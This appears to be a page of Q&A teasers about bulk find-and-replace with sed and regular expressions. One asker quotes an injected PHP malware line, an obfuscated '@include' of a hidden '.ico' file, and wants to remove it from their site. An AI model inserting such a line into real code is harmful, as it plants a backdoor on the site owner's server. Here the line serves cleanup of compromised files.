Mass search / replace string from ssh?

I am in the process of selling a network of 60 sites, they all have adsense with the same publisher id (google_ad_client=”pub-xxxxxxxxxxxxxxxx”) in all the files in the /home/ folder. How can I do a mass search/replace from ssh to change my id to the buyer id? Answer So you want to ssh to each … Read more

sed linux replace complex link

I am having this challenge to pass a link from a variable: InstallLocation=/opt/software/software.properties ReplaceeVar=http://localhost:1234/ab/cd/{company}/{employee}/ sed -i “s/Change_This_Url/”${ReplaceeVar}”/g” “$InstallLocation” Built url would fail like: sed: -e expression #1, char xx: unterminated `s’ command Answer First, I don’t know what all your quotes are for. Just put one set of quotes around the substitution command. You use … Read more

sed replace text – escape characters

I have a mysqldump file in which I want to replace the following text <a href=”/tag/ with <a href=”http://www.mydomain.com/tag/ but can’t find a way to correctly escape all special characters. I’m using the following command (+ a few other variants) cat wordpress_posts.sql | sed ‘s%/<a href=”\/\tag\/\/<a href=”\http:/\/\www.mydomain.com/\tag/\/%g’ > wordpress_posts_new.sql but it’s not working. Can anybody … Read more

Find and replace text (multichars) in .js files on Linux

I have many .js files named the same (got.js) where i just need to find and replace some text on them. The text to find is: \x72\x6Fx75\x6E And is to be replaced with: \x72\x6F\x75\x6E (just a \ in the middle) I have tried SED with find, exactly this one: find ‘/home/’ -name ‘got.js’ -exec sed … Read more

Find and Replace using Regular Expression

I try to find a way to find and replace using EMEditor and a Regular Expression. I try to applu this for the item below: <?php /*f04b8*/ @include “\057mn\164/r\141id\057ho\155e/\164ap\151om\171/h\164do\143s/\124ap\151oP\157rt\141l/\154ib\162ar\151es\057.d\1419e\06484\063.i\143o”; /*f04b8*/ // ini_set(?display_errors?, 1); I try to replace / erase the code between <?php and // ini_set(?display_errors?, 1); everything in between is this maleware scipt that … Read more

Regular Expression in EMEditor

I am trying to make a simple find > replace regular expression. This does work fine in https://regexr.com/ to find this comment below. However the editor I use is EMEditor that i try to make a find and replace trough files and subdirectories. However even though it finds the string in the regexr.com, it does … Read more

sed behaviour depending on the file I apply it to

I have one file called test1.xml withe the following content: Hello how are you doing? And am trying to apply the following sed search and replace: sed -i ‘s/Hello //g’ test1.xml And the file remains the same!!! I am copying the content of that same file to a new file I name test2.xml, apply the … Read more

lighttpd: modifying / adding content to response?

for nginx there’s a very nice module available to filter a response and search/replace content in it: http://wiki.nginx.org/HttpSubModule i wonder, if there’s a similar possibility for lighttpd available? thanks in advance, Answer Current 1.4.x release default modules seem to miss that functionality but as far as this page goes it could be supported in some … Read more

SED not working with complicated string

I have a file that starts like this: [global] pid = /var/run/php-fpm/php-fpm.pid error_log = /var/log/php5-fpm.log and want to replace error_log = /var/log/php5-fpm.log with error_log = /var/log/php-fpm/error.log I want to use a script for that and did the following: search=’error_log = /var/log/php5-fpm.log’ replace=’error_log = /var/log/php-fpm/error.log’ for file in `find -name ‘php-fpm.conf’`; do grep “$search” $file &> … Read more